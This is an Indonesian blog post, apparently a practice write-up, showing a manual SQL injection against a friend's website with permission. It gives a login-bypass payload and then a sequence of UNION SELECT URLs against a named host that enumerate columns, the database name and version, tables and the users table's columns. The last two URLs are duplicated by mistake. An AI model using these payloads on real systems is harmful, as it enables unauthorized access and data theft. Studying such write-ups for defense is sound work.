My Blog

SQL Injection Manual

02 Jan 2023

Assalamualaikum wr,wb. Pada kesempatan kali ini saya akan mencoba melakukan SQL Injection pada website teman saya mas Nikko Enggaliano terima kasih telah memberikan saya kesempatan untuk mempraktekan SQLI pada websitenya,

Ketika saya mengakses website nya, saya disuguhkan login page seperti berikut :

01

pertama kali yang saya lakukan adalah mengecek apakah form tersebut vuln terhadap sql injection, dengan cara saya mengisi form username dengan petik(‘) dan hasilnya website malah menunjukan error 500

02

selanjutnya saya coba isi form username dengan mengisi 1– #, dan saya mendapatkan error seperti ini

03

yang menurut saya, sepertinya ini termasuk vuln terhadap sql injection XD, selanjutnya saya berasumsi bahwa query dari sql untuk login tersebut adalah seperti ini :

SELECT * FROM users WHERE username='$username' AND password='$password'

selanjutnya saya mencoba menginputkan di form username a’ OR 1=1 – yang dimana untuk mengontrol query, dimana query sql tersebut akan menjadi seperti ini :

SELECT * FROM users WHERE username='a' OR 1=1 -- ' AND password='$password'

3

dan akhirnya saya bisa masuk ke halaman index

4

setelah masuk ke halaman index saya melanjutkan explore ke halaman profile, setelah saya masuk ke halaman profile, saya melihat bentuk url nya seperti berikut

5

Setelah itu saya melakukan pengecekan lagi, apakah vuln terhadap sql injection dengan memberikan petik di akhir url, dan saya mendapat error seperti ini

6

Saya cek lagi dengan menambahkan –, dan hasilnya juga tetap error 500

7

Saya cek lagi dengan menambahkan – #, dan hasilnya website berjalan dengan baik

8

Setelah itu saya mencoba mengecek jumlah kolom dengan menggunakan order by

Yang pertama saya melakukan order by 100 –, dan hasilnya error

9

Selanjutnya saya melakukan order by 20 –, dan hasilnya juga error

10

Selanjutnya saya melakukan order by 10 –, dan hasilnya juga error

11

Selanjutnya saya melakukan order by 5 –, dan hasilnya website berjalan normal, disini saya mengetahui bahwa kolom nya berjumlah 5

12

Setelah itu saya melakukan perintah UNION SELECT untuk menampilkan kolomnya, dengan memodifikasi url nya seperti berikut

http://nikkoenggaliano.my.id:6611/profil.php?id=1%27%20UNION%20SELECT%20NULL,NULL,NULL,NULL,NULL%20--%20#

13

Selanjutnya saya melakukan perintah UNION SELECT untuk menampilkan nama database dan versi dari database, dengan memodifikasi url nya seperti berikut

http://nikkoenggaliano.my.id:6611/profil.php?id=1%27%20UNION%20SELECT%20NULL,database(),version(),NULL,NULL%20--%20#

14

Selanjutnya saya melakukan dump daftar tabelnya, dengan memodifikasi url nya seperti berikut

http://nikkoenggaliano.my.id:6611/profil.php?id=1%27%20UNION%20SELECT%20NULL,database(),version(),table_name,NULL%20%20FROM%20information_schema.tables%20--%20#

15

Selanjutnya saya melakukan dump isi tabel users, dengan memodifikasi url nya seperti berikut

http://nikkoenggaliano.my.id:6611/profil.php?id=1%27%20UNION%20SELECT%20NULL,database(),version(),column_name,NULL%20%20FROM%20information_schema.columns%20WHERE%20table_name=%27users%27%20--%20#

16

Setelah saya dump isi tabelnya selanjtunya saya dump isi kolomnya, dengan memodifikasi url nya seperti berikut

http://nikkoenggaliano.my.id:6611/profil.php?id=1%27%20UNION%20SELECT%20NULL,database(),version(),column_name,NULL%20%20FROM%20information_schema.columns%20WHERE%20table_name=%27users%27%20--%20#

18

Sekian tulisan saya terkait praktek sql injection manual, jika ada kekurangan saya mohon maaf dan terima kasih, Assalamualaikum wr,wb.